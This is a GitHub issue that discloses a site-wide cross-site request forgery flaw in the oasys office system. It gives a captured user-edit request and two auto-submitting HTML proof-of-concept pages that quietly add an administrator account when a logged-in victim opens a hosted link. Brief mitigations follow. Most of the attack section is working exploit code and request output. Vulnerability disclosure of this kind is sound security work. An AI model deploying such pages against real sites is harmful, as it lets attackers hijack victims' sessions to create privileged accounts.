CSRF-oasys (by misstt123)

Open majic-banana opened this issue 1 year ago • 0 comments

CSRF-oasys by misstt123

The entire system has a CSRF vulnerability, so there is no specific vulnerability point. The following uses the administrator's user addition function as an example for demonstration.

Vulnerability Reproduction

Click to add a user, get the format of the data packet, and generate the CSRF PoC code:

POST /useredit HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: http://localhost/useredit
Content-Type: application/x-www-form-urlencoded
Content-Length: 263
Origin: http://localhost
DNT: 1
Sec-GPC: 1
Connection: close
Cookie: JSESSIONID=9EDAE376AA8F0D592B98EF8EBC67DEB1
Upgrade-Insecure-Requests: 1
Priority: u=4

userName=attacker&userTel=18678789466&realName=attacker&eamil=CSRF%40qq.com&address=attacker&userEdu=no&school=attacker&idCard=411622200811152494&bank=6222356666666666&deptid=1&sex=%E7%94%B7&positionid=1&roleid=1&salary=666&hireTime=2025-01-18&themeSkin=blue&userId=

roleid=1 means that the permissions of the user being added are at the highest level: administrator.

The CSRF PoC code is as follows:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="http://localhost/useredit" method="POST">
      <input type="hidden" name="userName" value="attacker" />
      <input type="hidden" name="userTel" value="18678789466" />
      <input type="hidden" name="realName" value="attacker" />
      <input type="hidden" name="eamil" value="CSRF&#64;qq&#46;com" />
      <input type="hidden" name="address" value="attacker" />
      <input type="hidden" name="userEdu" value="no" />
      <input type="hidden" name="school" value="attacker" />
      <input type="hidden" name="idCard" value="411622200811152494" />
      <input type="hidden" name="bank" value="6222356666666666" />
      <input type="hidden" name="deptid" value="1" />
      <input type="hidden" name="sex" value="ç&#148;&#183;" />
      <input type="hidden" name="positionid" value="1" />
      <input type="hidden" name="roleid" value="1" />
      <input type="hidden" name="salary" value="666" />
      <input type="hidden" name="hireTime" value="2025&#45;01&#45;18" />
      <input type="hidden" name="themeSkin" value="blue" />
      <input type="hidden" name="userId" value="" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

In a real attack scenario, it is easy to construct the above CSRF PoC simply by analyzing the front-end code. The reason for first obtaining the data packet is to facilitate the quick generation of the PoC (using the built-in features of Burp Suite Pro).

Modify the above PoC to make its attack effect better:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form id="evil" action="http://localhost/useredit" method="POST">
      <input type="hidden" name="userName" value="attacker" />
      <input type="hidden" name="userTel" value="18678789466" />
      <input type="hidden" name="realName" value="attacker" />
      <input type="hidden" name="eamil" value="CSRF&#64;qq&#46;com" />
      <input type="hidden" name="address" value="attacker" />
      <input type="hidden" name="userEdu" value="no" />
      <input type="hidden" name="school" value="attacker" />
      <input type="hidden" name="idCard" value="411622200811152494" />
      <input type="hidden" name="bank" value="6222356666666666" />
      <input type="hidden" name="deptid" value="1" />
      <input type="hidden" name="sex" value="ç&#148;&#183;" />
      <input type="hidden" name="positionid" value="1" />
      <input type="hidden" name="roleid" value="1" />
      <input type="hidden" name="salary" value="666" />
      <input type="hidden" name="hireTime" value="2025&#45;01&#45;18" />
      <input type="hidden" name="themeSkin" value="blue" />
      <input type="hidden" name="userId" value="" />
    </form>

    <script type="text/javascript">
        history.pushState('', '', '/');
        window.onload = function() {
            var form = document.getElementById("evil");
            form.submit();
        };
    </script>
  </body>
</html>

Start a simple attack website to store the above malicious code, generating a malicious link: http://localhost:4445/CSRF_test.html
Simulate the user clicking on the malicious link: First, the current user list is normal, with no "attacker" user.

When the user(victim) clicks the malicious link (must be opened in the same browser because the cookies of this domain are stored there):
1. Requesting the malicious code:
2. The front-end(victim) loads the malicious code and sends a malicious request (along with the current user's cookie):
  
  It can be seen that the request sent at this time already carries the victim's cookie. click the "forward“ button: operation successful.

Possible Solutions

Add a filter specifically to check the Referer.
Do not store session IDs in cookies.
Use tokens (do not store them in cookies).

Reference

misstt123/oasys

Jan 18 '25 12:01 majic-banana